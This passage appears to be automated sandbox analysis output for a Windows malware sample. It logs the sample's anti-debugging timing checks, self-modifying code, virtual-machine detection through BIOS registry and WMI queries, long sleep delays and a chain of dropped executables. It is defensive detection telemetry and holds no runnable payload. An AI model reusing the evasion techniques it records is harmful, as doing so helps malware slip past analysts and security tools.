Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40991 second address: 4A409F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F5E60CAC691h 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 call 00007F5E60CAC68Ch 0x00000018 pushfd 0x00000019 jmp 00007F5E60CAC692h 0x0000001e add eax, 5FC5FF98h 0x00000024 jmp 00007F5E60CAC68Bh 0x00000029 popfd 0x0000002a pop esi 0x0000002b push eax 0x0000002c push edx 0x0000002d movsx ebx, ax 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A409F0 second address: 4A40A28 instructions: 0x00000000 rdtsc 0x00000002 call 00007F5E60BA1660h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b je 00007F5ED3076FDEh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ebx, eax 0x00000016 jmp 00007F5E60BA1666h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40A28 second address: 4A40A73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F5E60CAC696h 0x00000015 mov ecx, esi 0x00000017 pushad 0x00000018 jmp 00007F5E60CAC68Eh 0x0000001d mov ch, 34h 0x0000001f popad 0x00000020 je 00007F5ED3181FC1h 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40A73 second address: 4A40A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 475913 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4A3E40 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2CEB46 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4894DE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 50A74D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8A5913 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8D3E40 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6FEB46 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8B94DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 93A74D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Special instruction interceptor: First address: BFDE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Special instruction interceptor: First address: C8F426 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AC069B rdtsc

0_2_04AC069B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1368	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1030	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 977	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1320	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6519
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7775
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5929
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 461
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4162
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1096
Source: C:\Users\Public\Netstat\FuturreApp.exe	Window / User API: threadDelayed 8842
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3897
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 771
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1074

Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017915001\712b285aaa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017921001\85070a414c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017906001\3b81e6737d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017920001\194df6b68b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017913001\97d4b1071f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017903001\cb947ba4b8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017907001\90ddd682ad.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017905001\4dd01d90fc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017911001\67fbb282d1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017917001\7423465717.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017910001\fde98a8d0b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[5].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017912001\f7b3852b06.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017904001\97bf9e137e.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017901001\a4439a2887.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017916001\UZAj8wc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017908001\2c36247645.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\UZAj8wc[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51602\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017909001\f8645e1e85.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-17338

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

API coverage: 5.9 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6172	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6580	Thread sleep count: 1368 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6580	Thread sleep time: -2737368s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6392	Thread sleep count: 1030 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6392	Thread sleep time: -2061030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6508	Thread sleep count: 207 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6508	Thread sleep time: -6210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5968	Thread sleep count: 1109 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5968	Thread sleep time: -2219109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6552	Thread sleep count: 977 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6552	Thread sleep time: -1954977s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6348	Thread sleep count: 1320 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6348	Thread sleep time: -2641320s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1888	Thread sleep count: 6519 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1888	Thread sleep count: 177 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6120	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6004	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4052	Thread sleep count: 7775 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6436	Thread sleep count: 54 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3180	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5436	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6628	Thread sleep count: 5929 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 180	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2608	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8072	Thread sleep count: 461 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7208	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8152	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4024	Thread sleep count: 4162 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3596	Thread sleep count: 1096 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe TID: 7248	Thread sleep time: -300000s >= -30000s
Source: C:\Users\Public\Netstat\FuturreApp.exe TID: 6408	Thread sleep time: -884200s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8080	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8140	Thread sleep count: 1074 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep count: 252 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7324	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5352	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe TID: 7252	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe TID: 7524	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe TID: 7148	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\attrib.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\Public\Netstat\FuturreApp.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AED83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00007FF67AED83B0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AED92F0 FindFirstFileExW,FindClose,	5_2_00007FF67AED92F0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF67AEF18E4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AED92F0 FindFirstFileExW,FindClose,	6_2_00007FF67AED92F0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AED83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00007FF67AED83B0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	6_2_00007FF67AEF18E4

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxtrayZ
Source: getmac.exe, 00000046.00000003.2616665075.0000015F4B8EE000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000002.2619297587.0000015F4B90E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616200120.0000015F4B8DB000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616200120.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616665075.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616812229.0000015F4B90D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
